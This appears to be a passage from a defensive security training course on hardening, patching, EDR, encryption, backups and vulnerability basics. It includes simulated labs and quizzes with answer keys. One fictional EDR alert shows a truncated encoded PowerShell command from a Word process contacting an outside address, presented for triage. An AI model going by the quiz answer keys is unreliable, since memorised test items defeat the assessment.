An admin at the fictional firm Example Corp builds a web server for 192.0.2.20. The scan against the CIS Level 1 benchmark shows 14 failures: telnet is enabled, SSH allows passwords, and /etc/shadow is readable by group. She disables telnet, switches SSH to keys only, fixes the permission, and rescans to confirm all 14 now pass. She then saves the setup as a golden image, so every new server starts from the same hardened state.

KEY TERMS

Attack surface: The sum of services, ports, accounts and features an attacker could try to abuse.

CIS Benchmark: A consensus configuration guide with Level 1 and Level 2 profiles for a given product.

Baseline: The approved secure configuration that systems are expected to match.

Least privilege: Giving an account or process only the access it needs for its task.

Configuration drift: Gradual deviation of a system from its approved baseline.

Golden image: A pre-hardened template used to build new systems.

REMEMBER

- Hardening removes unneeded services, tightens defaults and enforces least privilege.
- Use a published baseline such as a CIS Benchmark and scan against it.
- Automate and re-check, because configurations drift.

QUICK CHECK

1. Which action best reduces a server's attack surface?
 - A) Adding more monitoring agents
 - B) Disabling services and ports that are not needed
 - C) Renaming the server
 - D) Increasing disk size
2. What is a CIS Level 2 profile typically intended for?
 - A) Home users only
 - B) Stricter settings for high-security environments
 - C) Disabling all logging
 - D) Automatic backups
3. Why do teams re-scan systems after the initial hardening?
 - A) Configuration drift can undo the baseline
 - B) Scans make servers faster
 - C) Benchmarks expire daily
 - D) Hardening is illegal to leave unchecked
4. Which SSH change is a standard hardening step?
 - A) Allow root password login
 - B) Use key-based login and disable password login
 - C) Move SSH to telnet
 - D) Disable logging

Answers: 1-B 2-B 3-A 4-B

1. Fewer running services and open ports means fewer things to attack.
2. Level 1 is a practical baseline; Level 2 is stricter and may affect usability.
3. Changes, updates and quick fixes cause drift from the baseline.
4. Keys resist guessing and brute force far better than passwords.

Patch management

Most successful attacks use flaws that already have a fix, so a disciplined patch process closes the easiest doors.

The patch cycle

Patch management is the repeatable process of finding, testing, deploying and verifying software updates. It begins with an accurate asset inventory, because you cannot patch what you do not know exists. Next, vulnerability sources such as vendor bulletins, the CVE list and the CISA Known Exploited Vulnerabilities catalog tell you what is affected. Updates are then prioritized by severity, using CVSS scores together with context: is the flaw being exploited in the wild, is the system internet-facing, and how valuable is the data? After testing and deployment, the final step is verification, using a scan or agent report to confirm the patch actually installed.

Test rings and scheduling

Deploying an untested update to every machine at once can cause outages. Organizations therefore use deployment rings. Ring 0 may be a small pilot group of IT staff and test systems, ring 1 a wider sample of ordinary users, and the final ring the rest of the estate and critical servers. Problems found early stop the rollout. Many vendors support a regular cadence, such as Microsoft's monthly Patch Tuesday on the second Tuesday, and organizations commonly set maintenance windows so servers reboot at agreed times. Tools such as WSUS, Intune, SCCM, Ansible and apt or dnf unattended upgrades automate the work.

Emergency patches and exceptions

Sometimes waiting for the normal cycle is too slow. When a vulnerability is under active attack, such as a remote code execution flaw in an internet-facing VPN or web server, an emergency process shortens testing and approvals and may deploy within hours. If a patch cannot be applied immediately because it breaks a legacy application, apply compensating controls: isolate the system on its own network segment, block the vulnerable port, use a virtual patch from a web application firewall or intrusion prevention system, and monitor closely. Document the exception, the owner and an end date so it does not become permanent.

Unsupported software and common failures

Software that has reached end of life no longer receives security fixes. Windows 7 and Windows Server 2008 are well-known examples, and running them leaves known flaws permanently open. The plan is to upgrade, replace or strictly isolate such systems. Do not overlook firmware, network devices, third-party applications, browsers, libraries inside applications and containers: attackers favor whatever is least often updated. Typical failures include missing inventory, patches that need a reboot that never happens, shadow IT, and measuring success by deployment sent rather than installed. Useful metrics are time to patch critical flaws and the percentage of systems compliant within the target window.

PATCH STATUS CHECK (EXAMPLE)

```
apt list --upgradable
sudo apt update && sudo apt upgrade
sudo unattended-upgrade --dry-run
Get-HotFix | Sort InstalledOn -Desc | Select -First 5
rpm -q --changelog openssl | head -n 5
```

WORKED EXAMPLE

A vendor announces a critical remote code execution flaw in a VPN appliance at 198.51.100.7 and reports exploitation in the wild. The security team skips the normal monthly cycle. They patch one test unit within two hours, confirm that VPN logins still work, then update the production pair overnight and verify the new version number. Meanwhile they block the management interface from the internet. A forgotten lab device still on the old firmware is found by an inventory comparison and replaced.

KEY TERMS

CVE: A public identifier for a specific disclosed vulnerability.

CVSS: A 0 to 10 scoring system for vulnerability severity.

Patch ring: A staged group of systems that receives an update in sequence to limit risk.

Compensating control: A safeguard used when the real fix cannot yet be applied.

End of life: The date after which a vendor no longer issues security updates.

Virtual patching: Blocking exploitation of a flaw with a firewall or IPS rule instead of changing the software.

REMEMBER

- Patching is a cycle: inventory, prioritize, test, deploy, verify.
- Use test rings, and shorten the process when a flaw is actively exploited.
- Isolate or replace unsupported software and track exceptions.

QUICK CHECK

1. Why does a patch process begin with an asset inventory?
 - A) It reduces licensing costs only
 - B) You cannot patch systems you do not know about
 - C) Inventory makes patches smaller
 - D) Vendors require it for downloads
2. What is the purpose of deployment rings?
 - A) To catch problems on a small group before a wide rollout
 - B) To skip testing entirely
 - C) To hide patches from users
 - D) To increase the number of reboots
3. A legacy application breaks with a critical patch. What is the best interim step?
 - A) Ignore the vulnerability
 - B) Apply compensating controls such as isolation and an IPS rule, with an end date
 - C) Disable all logging
 - D) Remove the firewall
4. What is the main risk of unsupported software?
 - A) It runs slower
 - B) It receives no security fixes for new flaws
 - C) It cannot be backed up
 - D) It uses more memory

Answers: 1-B 2-A 3-B 4-B

1. Unknown systems stay unpatched and become the weak point.
2. A pilot group limits the impact of a faulty update.
3. Compensating controls reduce risk while the exception is tracked.
4. After end of life, newly found vulnerabilities stay open permanently.

Antivirus, EDR and application allowlisting

No single detection method catches everything, so you need to know what each tool sees and where it is blind.

Signature, heuristic and behavior detection

Traditional antivirus compares files against signatures, such as hashes or byte patterns of known malware. It is fast and accurate for known samples, but attackers change a file slightly to evade it, and brand-new malware has no signature. Heuristic analysis inspects a file's structure and code for suspicious traits, for example packed code or calls to dangerous functions, and can flag unknown variants with some false positives. Behavior-based detection watches what a program does at run time, such as encrypting many files quickly, injecting into another process or contacting a rare domain. Modern products combine all three plus reputation and machine learning models.

EDR and its telemetry

Endpoint detection and response goes beyond blocking. A lightweight agent records detailed telemetry: process creation with command lines and parent-child relationships, file and registry changes, network connections, logons and loaded modules. This data is sent to a central platform where analytics and threat intelligence generate alerts. Analysts can view a process tree, hunt across all endpoints for an indicator, and respond remotely by isolating a host from the network, killing a process or quarantining a file. XDR extends the idea by correlating endpoint data with email, identity and cloud signals. Managed detection and response services add human analysts around the clock.

Application allowlisting

Allowlisting inverts the model: instead of listing what is bad, it lists what is permitted, and everything else is denied by default. Microsoft AppLocker and Windows Defender Application Control on Windows, and tools such as fapolicyd on Linux, can allow software by publisher signature, file path or file hash. Publisher rules survive updates, hash rules are strict but need maintenance, and path rules are weak if users can write to the allowed folder. Allowlisting stops most unknown malware and unauthorized tools, but it takes effort to roll out. Start in audit mode, review what would have been blocked, then enforce.

Limits and good practice

Each control has gaps. Signature scanning misses novel samples, EDR depends on someone reviewing alerts and on tuning, and allowlisting can be bypassed through trusted tools that are allowed, a technique called living off the land. Fileless attacks that run in memory using PowerShell may escape file scanning but leave behavior traces. Keep agents updated and tamper-protected so malware cannot switch them off, enable cloud lookup, and exclude paths from scanning only with a documented reason. Investigate alerts using context, since the same process can be harmless or malicious depending on its parent, user and destination.

EDR ALERT EXCERPT (FICTIONAL)

```
host=WS-114 user=jdoe
parent=winword.exe
child=powershell.exe -enc JABz...
dest=203.0.113.50:443
rule=Office spawns script interpreter
severity=high
action=alert (host not isolated)
```

WORKED EXAMPLE

An EDR alert on host WS-114 shows winword.exe starting powershell.exe with an encoded command, which then connects to 203.0.113.50. Antivirus saw nothing because no known-bad file exists. The analyst reads the process tree, sees that the user opened an emailed document minutes earlier, and isolates the host with one click. She then searches every endpoint for the same command line and finds no other victims, and resets the user's password as a precaution.

KEY TERMS

Signature detection: Matching files against known hashes or patterns of malware.

Heuristic detection: Flagging files with suspicious structure or code traits, even if unknown.

EDR: Endpoint tooling that records telemetry, raises alerts and allows remote response.

Allowlisting: A default-deny approach that runs only approved software.

Isolation: Cutting an endpoint off from the network while keeping the management connection.

Living off the land: Abusing legitimate built-in tools to avoid detection.

REMEMBER

- Antivirus combines signature, heuristic and behavior methods.
- EDR adds telemetry, hunting and remote response such as isolation.
- Allowlisting denies everything not approved; roll it out in audit mode first.

QUICK CHECK

1. What is the main weakness of signature-only antivirus?
 - A) It cannot scan files
 - B) It misses new or modified malware with no signature
 - C) It slows the network
 - D) It needs no updates
2. Which data does EDR typically collect?
 - A) Only the file name of downloads
 - B) Process trees, command lines, file, registry and network events
 - C) Only emails
 - D) Only the monitor resolution
3. Why start allowlisting in audit mode?
 - A) To see what would be blocked before enforcing
 - B) Because audit mode is faster
 - C) To disable user accounts
 - D) To avoid using signatures
4. Which AppLocker rule type survives software updates best?
 - A) Path rule in a user-writable folder
 - B) Publisher rule based on the digital signature
 - C) A rule based on file size
 - D) A rule based on a desktop icon

Answers: 1-B 2-B 3-A 4-B

1. A signature exists only after a sample is known.
2. Rich telemetry lets analysts reconstruct what happened.
3. Audit mode reveals legitimate software that would break.
4. Publisher rules stay valid when a signed vendor ships a new version.

Disk encryption and mobile device security

A lost laptop or phone is a common breach, and encryption plus central management keeps the data private even when the device is gone.

Full disk encryption

Full disk encryption protects data at rest by encrypting the whole drive so that stolen hardware yields only unreadable bytes. BitLocker is built into Windows Pro and Enterprise, FileVault into macOS, and LUKS (the Linux Unified Key Setup, used with dm-crypt) into Linux. All typically use AES, with 128-bit or 256-bit keys. Encryption does not protect a running, unlocked machine, nor does it stop malware or a user with a valid session, so it complements and does not replace access control. Choose strong passphrases or PINs, because the encryption is only as strong as the unlock method protecting its key.

TPM, recovery keys and key management

A Trusted Platform Module is a hardware chip that stores keys and measures the boot process. BitLocker can seal its key to the TPM so the drive unlocks automatically only if the firmware and boot files are unchanged, and adding a PIN gives pre-boot authentication that resists some physical attacks. Every encrypted drive also needs a recovery key, a long code used if the TPM state changes or the password is forgotten. Store recovery keys centrally, for example in Active Directory, Entra ID or an MDM, and never on the same disk. Losing both the key and the recovery key means the data is gone for good.

Mobile device management

Phones and tablets hold email, files and authentication apps. Mobile device management, or MDM, enrolls devices so an organization can enforce a passcode, require encryption, push apps and settings, separate work and personal data, and remotely lock or wipe a lost device. Platforms include Microsoft Intune, Jamf and Workspace ONE. Both iOS and modern Android encrypt storage by default when a passcode is set. Bring-your-own-device programs often use app-level containers so only company data can be wiped. Combine MDM with conditional access so a device that is jailbroken, unpatched or unmanaged cannot reach company resources.

Jailbreaking and app permissions

Jailbreaking (iOS) and rooting (Android) remove the manufacturer's restrictions so the user or an app gains full control. This breaks the sandbox that isolates apps, disables protections, and can let malware read other apps' data, so MDM tools detect it and mark the device non-compliant. Sideloaded apps from outside the official stores carries similar risk. Apps request permissions such as camera, microphone, location, contacts and storage, and the user should grant only what the function needs, preferring while-using access to always. Review permissions regularly, install apps only from official stores, keep the operating system updated, and be skeptical of apps that ask for accessibility or device administrator rights.

CHECK ENCRYPTION STATUS (EXAMPLE)

```
manage-bde -status C:
fdesetup status
lsblk -f
cryptsetup status cryptroot
# MDM policy ideas:
# passcode >= 6, auto-lock 2 min,
# encryption required, wipe after 10 tries
```

WORKED EXAMPLE

A salesperson at Example Corp leaves a company laptop on a train. It uses BitLocker with a TPM and a startup PIN, so the drive cannot be read without that PIN. IT sees the device in the MDM console, marks it lost, and issues a remote wipe. The recovery key is stored in the directory, not on the laptop. Her phone is also enrolled, so it must keep a six-digit passcode. The incident is logged as a lost asset, not a data breach.

KEY TERMS

Data at rest: Information stored on a device or disk, as opposed to in transit.

TPM: A hardware chip that stores keys and verifies boot integrity.

Recovery key: A backup code that unlocks an encrypted drive when normal methods fail.

MDM: Central management of mobile devices, with enforcement and remote wipe.

Jailbreaking: Removing OS restrictions on iOS, which weakens app isolation.

Sandbox: A restricted environment that limits what an app can access.

REMEMBER

- BitLocker, FileVault and LUKS encrypt data at rest; a strong unlock method matters.
- TPMs bind keys to hardware, and recovery keys must be stored safely and separately.
- MDM enforces passcodes and wipe, and jailbroken devices should be blocked.

QUICK CHECK

1. What does full disk encryption primarily protect against?

- A) Phishing emails
- B) Data theft from a lost or stolen device
- C) Network scanning
- D) Software bugs

2. Where should a BitLocker recovery key be stored?

- A) On the same encrypted drive
- B) Centrally, such as in a directory or MDM
- C) On a sticky note on the laptop
- D) Nowhere

3. Why is a jailbroken phone considered risky?

- A) It has a shorter battery life
- B) App sandbox protections are weakened
- C) It cannot send email
- D) It uses more storage

4. Which MDM capability helps most when a phone is lost?

- A) Remote lock and wipe
- B) Faster Wi-Fi
- C) Larger screen
- D) Automatic photo editing

Answers: 1-B 2-B 3-B 4-A

1. It protects data at rest when someone has physical access to the drive.
2. A central, separate store allows recovery without exposing the key.
3. Removing restrictions lets malware reach other apps' data.
4. Remote wipe removes company data before it can be accessed.

Backups and recovery

Backups are the last line of defense: when ransomware or a failure destroys data, a tested backup decides how fast you recover.

The 3-2-1 rule

The 3-2-1 rule is the classic guideline: keep at least three copies of your data, on two different types of media or storage systems, with one copy offsite. The production data counts as one copy. The rule guards against hardware failure, building disasters, theft and human error. Modern guidance extends it to 3-2-1-1-0: one copy offline or immutable, and zero errors after verification. Backups can be full, incremental (changes since the last backup of any kind) or differential (changes since the last full). Full backups restore fastest but take the most space, while incrementals are small but need a chain of files to restore.

Ransomware and immutable backups

Ransomware operators know that backups defeat their extortion, so they hunt for them. They delete shadow copies, encrypt network shares and use stolen administrator credentials to wipe backup servers. Defenses include offline or air-gapped copies, such as tapes taken out of the library, and immutable storage, which uses write-once-read-many features like object lock on cloud storage or hardened Linux repositories so that nobody, even an administrator, can alter or delete data until a retention period ends. Keep backup systems on a separate network, use separate credentials with multi-factor authentication, and do not join them to the main domain where practical.

RPO and RTO

Two numbers drive backup design. The recovery point objective, RPO, is the maximum acceptable amount of data loss measured in time. If the RPO is four hours, backups or replication must run at least every four hours. The recovery time objective, RTO, is the maximum acceptable downtime before service must be restored. A one-hour RTO for a database cannot be met by restoring slowly from distant tape. The business decides these values based on cost of downtime, and they set the technology: nightly backups suit a 24-hour RPO, while continuous replication suits near-zero. Critical systems get tighter targets and higher cost.

Testing restores and protecting the backup

A backup that has never been restored is only a hope. Schedule regular restore tests, for example monthly for sample files and at least annually for a full system recovery, and record how long it took so you can compare it with the RTO. Check that backup jobs succeed, that the data is complete and that it is not already infected. Encrypt backups in transit and at rest, and protect the keys separately. Keep a documented recovery plan with the order of restoration, since directory services and networking must return before applications. Retain several generations, because ransomware may sit unnoticed for weeks before it detonates.

BACKUP POLICY SKETCH (EXAMPLE)

```
Source: file-server 192.0.2.30
Daily incremental, weekly full
Copy 1: local disk repository
Copy 2: cloud bucket with object lock 30 days
Copy 3: monthly offline tape, stored offsite
RPO 4h (snapshot every 4h), RTO 8h
Restore test: monthly, full recovery yearly
```

WORKED EXAMPLE

A ransomware attack hits Example Corp's file server at 192.0.2.30. The attackers delete local snapshots and the on-site backup repository. However, a copy sits in cloud storage with a 30-day object lock, and a monthly tape is stored offsite. The team restores from the cloud copy, losing three hours of work, which is within the four-hour RPO. The full restore takes seven hours, within the eight-hour RTO they set, because they had rehearsed it.

KEY TERMS

3-2-1 rule: Three copies, two media types, one copy offsite.

Immutable backup: A copy that cannot be changed or deleted until its retention period ends.

RPO: Maximum tolerable data loss, measured in time.

RTO: Maximum tolerable time to restore service.

Air gap: Keeping a backup disconnected from networks so malware cannot reach it.

Restore test: A planned exercise that proves backups can be recovered in the target time.

REMEMBER

- Follow 3-2-1, and add an offline or immutable copy.
- RPO limits data loss and RTO limits downtime; they set the design.
- Test restores regularly and keep backups separate from production credentials.

QUICK CHECK

1. In the 3-2-1 rule, what does the 1 stand for?
 - A) One encryption key
 - B) One copy kept offsite
 - C) One backup per year
 - D) One administrator
2. Why do ransomware groups target backups?
 - A) To free up disk space
 - B) To remove the victim's ability to recover without paying
 - C) To speed up the network
 - D) To update software
3. An RPO of 4 hours means what?
 - A) Systems must be restored within 4 hours
 - B) No more than about 4 hours of data may be lost
 - C) Backups are kept 4 hours
 - D) Restore tests happen every 4 hours
4. What makes a backup immutable?
 - A) It is compressed
 - B) It cannot be altered or deleted during the retention period
 - C) It is stored on a laptop
 - D) It has a long file name

Answers: 1-B 2-B 3-B 4-B

1. One of the three copies should be stored in a different location.
2. Destroying backups increases pressure to pay.
3. RPO describes acceptable data loss; RTO describes acceptable downtime.
4. Immutability, such as object lock, blocks tampering even by admins.

Harden a Linux server

SCENARIO

You are the administrator of a fictional web server at 192.0.2.20 for Example Corp. A scan against the CIS baseline lists three failures: the legacy telnet service is enabled, /etc/shadow has overly broad permissions, and SSH still allows password login for root. In the terminal simulator you will inspect the state of each setting, apply a fix, and confirm it with a second command before moving on to the next failure on the list.

OBJECTIVE

Disable telnet, correct the shadow file permissions and set SSH to key-only login.

STEPS IN THE SIMULATOR

- 1 **Do:** Run `systemctl list-unit-files --state=enabled`.

Simulator shows:

telnet.socket appears in the enabled list.

- 2 **Do:** Run `sudo systemctl disable --now telnet.socket`.

Simulator shows:

The unit is disabled and stopped.

- 3 **Do:** Run `ls -l /etc/shadow`.

Simulator shows:

Mode shows `-rw-r--rw-` or similar, too permissive.

- 4 **Do:** Run `sudo chmod 640 /etc/shadow`.

Simulator shows:

Command succeeds with no output.

- 5 **Do:** Edit `sshd_config`: set `PermitRootLogin no` and `PasswordAuthentication no`.

Simulator shows:

File saved with both values.

- 6 **Do:** Run `sudo systemctl reload sshd`, then `ss -tlnp`.

Simulator shows:

SSH reloaded; port 23 is no longer listening.

- 7 **Do:** Click Rescan baseline.

Simulator shows:

All three checks show PASS.

ANSWER

Disable telnet with `systemctl disable --now telnet.socket`, set `/etc/shadow` to mode 640 with `chmod`, and set `PermitRootLogin no` and `PasswordAuthentication no` in `sshd_config`, then reload `sshd`. Verify with `ss` and a rescan. Test key login in a second session before closing the first.

Hint shown in the app: Fix one item at a time and verify each with a command before moving on.

Audit a Windows baseline

SCENARIO

A fictional Windows file server at Example Corp has exported its policy settings, and you must compare them to the CIS baseline provided in the editor. Several lines are marked failing. Two stand out: the legacy SMBv1 protocol is still enabled, and the minimum password length is only 6 characters. You will edit the exported settings so each failing line matches the benchmark value, then run the comparison again to confirm every check passes.

OBJECTIVE

Correct failing settings such as SMBv1 and password length to match the baseline.

STEPS IN THE SIMULATOR

- 1 **Do:** Open policy_export.inf beside baseline_cis.inf.

Simulator shows:

Two panes show differences highlighted.

- 2 **Do:** Find the SMB1 entry.

Simulator shows:

SMB1 = 1 is flagged as failing.

- 3 **Do:** Change SMB1 to 0.

Simulator shows:

Line turns green.

- 4 **Do:** Find MinimumPasswordLength.

Simulator shows:

Value 6 is flagged.

- 5 **Do:** Change it to 14.

Simulator shows:

Line turns green.

- 6 **Do:** Check LockoutBadCount.

Simulator shows:

Value 0 means no lockout; it is flagged.

- 7 **Do:** Set LockoutBadCount to 5 and click Compare.

Simulator shows:

Summary shows 0 failing settings.

ANSWER

Set SMB1 to 0 to disable the legacy protocol, raise MinimumPasswordLength to 14 as per the baseline, and set an account lockout threshold such as 5 attempts. Compare again to confirm zero failures. Test changes in a lab first since stricter settings can affect applications.

Hint shown in the app: Look for lines marked red and match each to the baseline value.

Triage an EDR detection

SCENARIO

The fictional SIEM at Example Corp has raised a high-severity EDR alert on workstation WS-114. The rule says an Office program launched a script interpreter. You must review the alert details, inspect the process tree, check the destination address 203.0.113.50 in the context panel, and then decide whether to isolate the host or close the alert as benign. Use the evidence shown, not the severity label alone.

OBJECTIVE

Review the alert and process tree, then choose to isolate or close.

STEPS IN THE SIMULATOR

- 1 **Do:** Open alert EDR-2041 in the queue.

Simulator shows:

Alert shows host WS-114, user jdoe, high severity.

- 2 **Do:** Open the process tree.

Simulator shows:

winword.exe -> powershell.exe -enc ... is displayed.

- 3 **Do:** Read the decoded command.

Simulator shows:

It downloads a file from 203.0.113.50.

- 4 **Do:** Check the destination in the context panel.

Simulator shows:

The address has no prior history in the environment.

- 5 **Do:** Check the user's recent email.

Simulator shows:

A message with an attachment arrived 3 minutes earlier.

- 6 **Do:** Click Isolate host.

Simulator shows:

Host status changes to isolated; management link stays up.

- 7 **Do:** Add notes and click Hunt for command line.

Simulator shows:

Search returns no other affected hosts.

ANSWER

The alert is malicious: a document spawned an encoded PowerShell command that contacted a new external address right after a suspicious email. Isolate WS-114, hunt for the same command across endpoints, reset the user's credentials and record the indicators. Closing it as benign would be wrong.

Hint shown in the app: A Word process launching PowerShell with an encoded command is rarely normal.

Plan backups for ransomware

SCENARIO

Example Corp has a file server holding project data. Management states a recovery point objective of 4 hours and a recovery time objective of 8 hours. A ransomware event last year deleted the only backup, which sat on the same network. In the scenario simulator you must choose backup types, locations and a restore test schedule from a menu of options so that the plan meets both targets and survives an attacker with administrator access.

OBJECTIVE

Choose backup types, locations and tests that meet the RPO and RTO and resist ransomware.

STEPS IN THE SIMULATOR

- 1 **Do:** Review the stated RPO of 4 hours and RTO of 8 hours.

Simulator shows:

Requirements are pinned at the top.

- 2 **Do:** Select snapshot frequency.

Simulator shows:

Choose every 4 hours; a nightly option fails the RPO.

- 3 **Do:** Select copy 1 location.

Simulator shows:

Pick local disk repository for fast restore.

- 4 **Do:** Select copy 2 location.

Simulator shows:

Pick cloud storage with object lock enabled for 30 days.

- 5 **Do:** Select copy 3.

Simulator shows:

Pick monthly offline tape stored offsite.

- 6 **Do:** Set backup credentials.

Simulator shows:

Choose separate accounts with MFA, not domain admin.

- 7 **Do:** Set the test schedule and click Evaluate.

Simulator shows:

Choose monthly file restores and a yearly full restore; score shows plan passes.

ANSWER

Use 4-hourly snapshots to meet the RPO, a local repository for speed, an immutable cloud copy and an offline offsite tape for the 3-2-1-1 pattern, with separate MFA-protected credentials. Test restores monthly and a full recovery yearly, timing against the 8-hour RTO.

Hint shown in the app: Which copy could an attacker with admin rights still not delete?

Endpoint and OS Security: 10 questions, 80% to pass

1. Which is the best definition of attack surface?
 - A) The physical size of a server
 - B) All the services, ports and features an attacker could try to abuse
 - C) The number of employees
 - D) The age of the hardware
2. A system is scanned and fails 20 percent of a CIS Level 1 baseline. What is the best next action?
 - A) Ignore it
 - B) Remediate failures or document approved exceptions, then rescan
 - C) Delete the benchmark
 - D) Disable the scanner
3. Which step is first in the patch cycle?
 - A) Deploy to everyone
 - B) Know what assets exist and what is vulnerable
 - C) Reboot all servers
 - D) Disable updates
4. What is a good use of deployment rings?
 - A) Testing patches on a small pilot group before wide rollout
 - B) Hiding patches from IT
 - C) Installing patches slower for all
 - D) Avoiding rollback
5. Which detection method can spot ransomware encrypting many files quickly even with no known signature?
 - A) Signature matching
 - B) Behavior-based detection
 - C) Manual file naming
 - D) Disk defragmentation
6. What can an EDR analyst do that classic antivirus usually cannot?
 - A) Delete the operating system
 - B) Hunt for a command line across all endpoints and isolate a host
 - C) Increase CPU speed
 - D) Replace firewalls
7. Which control denies everything that is not explicitly approved?
 - A) Application allowlisting
 - B) A screen saver
 - C) Disk defragmentation
 - D) A signature update
8. A stolen laptop used BitLocker with a TPM and PIN. What is the likely result?
 - A) Data is easily read by the thief
 - B) Data remains protected without the PIN and keys
 - C) The laptop self-destructs
 - D) Backups are deleted
9. Which statement about RPO and RTO is correct?
 - A) RPO is acceptable downtime; RTO is acceptable data loss
 - B) RPO is acceptable data loss in time; RTO is acceptable downtime
 - C) They are the same
 - D) Both measure disk size
10. Which backup design best resists ransomware that has stolen domain administrator credentials?
 - A) A share mapped on the file server
 - B) An immutable or offline copy with separate credentials
 - C) Only a USB drive left plugged in
 - D) A copy in the same folder

Answers: 1-B 2-B 3-B 4-A 5-B 6-B 7-A 8-B 9-B 10-B

1. Reducing attack surface is the main aim of hardening.
2. Remediate or record exceptions, then verify.
3. Inventory and vulnerability awareness come first.
4. Rings limit the blast radius of a bad update.
5. Behavior analysis reacts to what the program does.
6. Telemetry, hunting and remote response define EDR.
7. Allowlisting is default-deny for software.
8. Encryption at rest protects data when the device is lost.
9. RPO is about data loss; RTO is about recovery time.
10. Offline or immutable copies cannot be altered with stolen credentials.

Vulnerability Management

Intermediate | 5 lessons | 4 simulated labs | checkpoint | about 4h 25m

This module teaches you how defenders find, describe, score and fix weaknesses. You will separate the ideas of vulnerability, threat, exploit and risk, read CVE, CWE, NVD and CVSS data, and understand what vulnerability scanners such as Nessus and OpenVAS actually report. You will then learn how to prioritize with CVSS, CISA KEV and EPSS, run a scan-to-remediation cycle with realistic SLAs, and see how disclosure and bug bounty programs fit in. Vulnerability management is one of the most common entry-level security tasks, and exam questions on it are frequent.

BY THE END YOU CAN

- + Distinguish vulnerability, exploit and risk
- + Read CVE, CWE and CVSS data and prioritize findings
- + Run a scan-to-remediation cycle and know bug bounty basics

IN THIS MODULE

Lesson 1 Vulnerability, threat, exploit and risk

Lesson 2 CVE, CWE, NVD and exploit databases

Lesson 3 CVSS scoring

Lesson 4 Scanning and the patching process

Lesson 5 Prioritization and bug bounty overview

Lab 1 Score a CVSS vector (Scenario)

Lab 2 Triage scanner output (File explorer)

Lab 3 Search CVE records (Terminal)

Lab 4 Rank the remediation queue (Scenario)

Checkpoint 10 questions, 80% to pass

Vulnerability, threat, exploit and risk

Clear vocabulary prevents bad decisions: teams that mix up a vulnerability with a risk waste effort fixing the wrong things.

Four related words

A vulnerability is a weakness in a system, process or person that could be misused, such as an unpatched web server or a weak password policy. A threat is anything that could cause harm by using a weakness: a criminal group, a careless insider, or even a flood. A threat actor is the person or group behind it. An exploit is the technique, tool or code that takes advantage of a specific vulnerability. Risk is the chance that a threat uses a vulnerability and the damage that follows. Notice that these are different kinds of things: a vulnerability exists whether or not anyone cares, a threat needs motive and capability, and risk only appears when both meet something valuable.

Risk equals likelihood times impact

The classic model says $\text{risk} = \text{likelihood} \times \text{impact}$. Likelihood depends on how exposed the weakness is, how easy it is to use, and whether threat actors are active. Impact depends on what the asset is worth: the data it holds, the money lost per hour of downtime, legal penalties and reputation. A critical flaw on an isolated lab machine can be lower risk than a medium flaw on the internet-facing payment server. Qualitative scales (low, medium, high) are common, and quantitative methods such as annualized loss expectancy ($\text{ALE} = \text{single loss expectancy} \times \text{annual rate of occurrence}$) are used when numbers exist.

Responding to risk

Once risk is estimated, an organization chooses one of four treatments. It can mitigate by adding controls such as patches or firewalls, transfer by buying insurance or outsourcing, avoid by dropping the risky activity, or accept when the cost of treatment exceeds the loss and management signs off. Residual risk is what remains after controls. A risk register records each risk, its owner, score, treatment and review date. Accepting a risk is a legitimate decision only when it is documented and approved by someone with authority, not a way to ignore an unfixed finding.

Where the terms appear in practice

A scanner report lists vulnerabilities, not risks. A threat intelligence feed describes threats and available exploits. Only when you combine them with asset value and existing controls do you get risk. The zero-day label means a vulnerability being exploited before a patch exists. Exposure, such as a service reachable from the internet, raises likelihood. A compensating control, for example a web application firewall rule that blocks the known attack pattern, lowers likelihood while a real fix is prepared. Always ask three questions: what is weak, who or what could use it, and what would it cost us?

RISK REGISTER ROW

```
Asset: customer-portal (internet-facing)
Vulnerability: outdated web framework
Threat: opportunistic ransomware group
Likelihood: High Impact: High
Risk: Critical
Treatment: Mitigate (patch in 7 days)
Owner: Web team lead
```

WORKED EXAMPLE

A small clinic has an old file server with a known flaw, but it sits on an isolated VLAN with no internet access and holds only printer drivers. The same flaw exists on a patient-records server reachable through a VPN. Both share one vulnerability, but the records server has far higher impact and likelihood, so its risk is high while the file server's is low. The team patches the records server this week and schedules the file server for the next maintenance window, documenting the decision in the risk register.

KEY TERMS

Vulnerability: A weakness that could be used to cause harm.

Threat: Any actor or event that could cause harm by using a weakness.

Exploit: Code or a technique that takes advantage of a specific vulnerability.

Risk: The likelihood of harm multiplied by its impact.

Residual risk: The risk left after controls are applied.

Zero-day: A vulnerability exploited before a patch is available.

REMEMBER

- Vulnerability = weakness, threat = who or what may use it, exploit = the method.
- Risk = likelihood x impact, so asset value matters.
- Treatments: mitigate, transfer, avoid, accept, with documented approval.

QUICK CHECK

1. Which statement best describes an exploit?

- A) A weakness in a system
- B) The code or technique that takes advantage of a weakness
- C) The probability of a loss
- D) A person who attacks systems

2. A critical flaw sits on a server with no network access and no data. Compared with a medium flaw on a public payment server, its risk is likely:

- A) Higher, because the score is higher
- B) Lower, because likelihood and impact are small
- C) Identical
- D) Impossible to estimate

3. Buying cyber insurance is an example of which risk treatment?

- A) Avoid
- B) Accept
- C) Transfer
- D) Mitigate

4. What is residual risk?

- A) Risk before any controls
- B) Risk remaining after controls are applied
- C) Risk that has been transferred
- D) Risk caused by insiders

Answers: 1-B 2-B 3-C 4-B

1. An exploit is the means of using a vulnerability; the weakness itself is the vulnerability.
2. Risk combines likelihood and impact, not severity alone.
3. Insurance moves part of the financial loss to another party.
4. Residual risk is what is left once controls reduce the original risk.

CVE, CWE, NVD and exploit databases

Every security tool and advisory refers to the same public identifiers, so knowing how to look them up is a daily skill.

CVE identifiers

The Common Vulnerabilities and Exposures (CVE) program gives each publicly known flaw a unique ID in the form CVE-YEAR-NUMBER, for example CVE-2021-44228. The year is when the ID was reserved or assigned, not always when the flaw was found. MITRE operates the program and many CVE Numbering Authorities (CNAs), such as vendors, assign IDs for their own products. A CVE record is short: the ID, a description and references. It does not contain scores, patches or a full analysis, which is why other databases exist around it.

CWE, NVD and vendor advisories

The Common Weakness Enumeration (CWE) classifies the type of mistake behind flaws, not individual products. CWE-79 is cross-site scripting, CWE-89 is SQL injection, CWE-787 is out-of-bounds write and CWE-798 is hard-coded credentials. One CWE can cover thousands of CVEs. The National Vulnerability Database (NVD), run by NIST, enriches CVE records with CVSS scores, CWE mappings and CPE names, which identify affected products and versions. Vendor advisories and release notes give the authoritative patch information, so always read them next to the NVD entry.

Exploit databases and KEV

